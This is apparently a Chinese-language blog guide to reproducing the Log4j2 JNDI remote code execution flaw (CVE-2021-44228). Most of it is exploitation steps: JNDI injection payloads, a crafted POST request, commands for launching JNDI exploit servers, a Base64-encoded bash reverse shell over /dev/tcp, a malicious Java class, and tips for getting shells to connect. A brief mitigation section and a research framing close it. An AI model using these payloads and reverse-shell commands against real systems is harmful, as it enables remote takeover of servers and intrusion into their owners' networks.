Apache Log4j2 JNDI RCE
字数 1316 2025-08-25 22:59:10
Apache Log4j2 JNDI 远程代码执行漏洞 (CVE-2021-44228) 深度分析与复现指南
漏洞概述
Apache Log4j2 是一个基于 Java 的日志记录工具,该工具重写了 Log4j 框架并引入了大量丰富的特性。在 2.0-beta9 到 2.14.1 版本中存在 JNDI 注入漏洞,攻击者可通过构造特殊的数据请求包触发远程代码执行。
漏洞原理
当应用程序使用 Log4j2 记录用户输入时,如果输入包含 ${jndi:ldap://恶意地址/exp} 这样的恶意字符串,Log4j2 会解析并执行 JNDI 查找,导致从攻击者控制的服务器加载并执行恶意代码。
环境准备
- 受影响版本:Log4j 2.0-beta9 到 2.14.1
- Java 版本:Java 8(其他版本可能受不同限制)
- 测试工具:
- JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
- JNDIExploit-1.2-SNAPSHOT.jar
- Burp Suite 或其他抓包工具
漏洞复现方法
1. 基础复现(登录框场景)
- 访问存在漏洞的网站(假设为 http://x.x.x/)
- 在登录框等用户输入处提交 payload:
${jndi:ldap://x.x.x/exp} - 观察是否触发 JNDI 连接
2. 通过HTTP请求复现(POST方式)
- 使用 Burp Suite 拦截正常请求
- 修改为 POST 请求并添加 payload:
POST /xxx HTTP/1.1 Host: xxx Content-Type: application/x-www-form-urlencoded Content-Length: xx payload=${jndi:ldap://x.x.x/exp} - 发送请求并观察响应
3. 命令执行复现
- 启动 JNDI 服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "touch /tmp/abc" -A x.x.x.x - 使用 Burp Suite 发送包含 JNDI payload 的请求
- 检查目标服务器上是否创建了 /tmp/abc 文件
4. 反弹Shell复现(方法一)
- 准备反弹Shell命令并Base64编码:
编码后格式:bash -i >& /dev/tcp/x.x.x/xxx 0>&1bash -c {echo,xxx{base64,-d}|{bash,-i} - 启动 JNDI 服务:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,xxx{base64,-d}|{bash,-i}" -A x.x.x - 发送恶意请求并监听对应端口
5. 反弹Shell复现(方法二)
- 使用 JNDIExploit 工具:
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i x.x.x.x - 准备反弹Shell命令并进行两次Base64编码
- 发送恶意请求:
payload=${jndi:ldap://x.x.x.x:1389/Basic/Command/Base64/二次编码后的命令}
6. 本地复现
- 编写恶意Java类:
import org.apache.logging.log4j.Logger; import org.apache.logging.log4j.LogManager; public class log4jRCE { private static final Logger logger = LogManager.getLogger(log4jRCE.class); public static void main(String[] args) { logger.error("${jndi:ldap://x.x.x.x/Basic/Command/calc}"); } } - 编译为JAR文件
- 执行时添加参数:
或java -Dcom.sun.jndi.ldap.object.trustURLCodebase=true -jar Log4j-rce.jarjava -Dcom.sun.jndi.rmi.object.trustURLCodebase=true -jar Log4j-rce.jar
常见问题解决
-
反弹Shell不成功:
- 确保命令正确Base64编码
- 检查防火墙设置
- 确认目标服务器出站连接是否被限制
- 尝试不同的JNDI工具(JNDI-Injection-Exploit 或 JNDIExploit)
-
收到"sending remote"而非"sending local":
- 检查网络配置
- 确保工具版本正确
- 尝试指定完整的URL路径
防御措施
- 升级到 Log4j 2.15.0 或更高版本
- 临时缓解方案:
- 设置系统属性
log4j2.formatMsgNoLookups=true - 移除 JndiLookup 类
- 设置系统属性
- 限制出站网络连接
- 对用户输入进行严格过滤
工具下载
- JNDI-Injection-Exploit: [GitHub仓库]
- JNDIExploit: [GitHub仓库]
- 各种PoC示例代码
通过以上详细步骤,安全研究人员可以全面了解Log4j2漏洞的原理和利用方式,从而更好地进行安全测试和防御措施验证。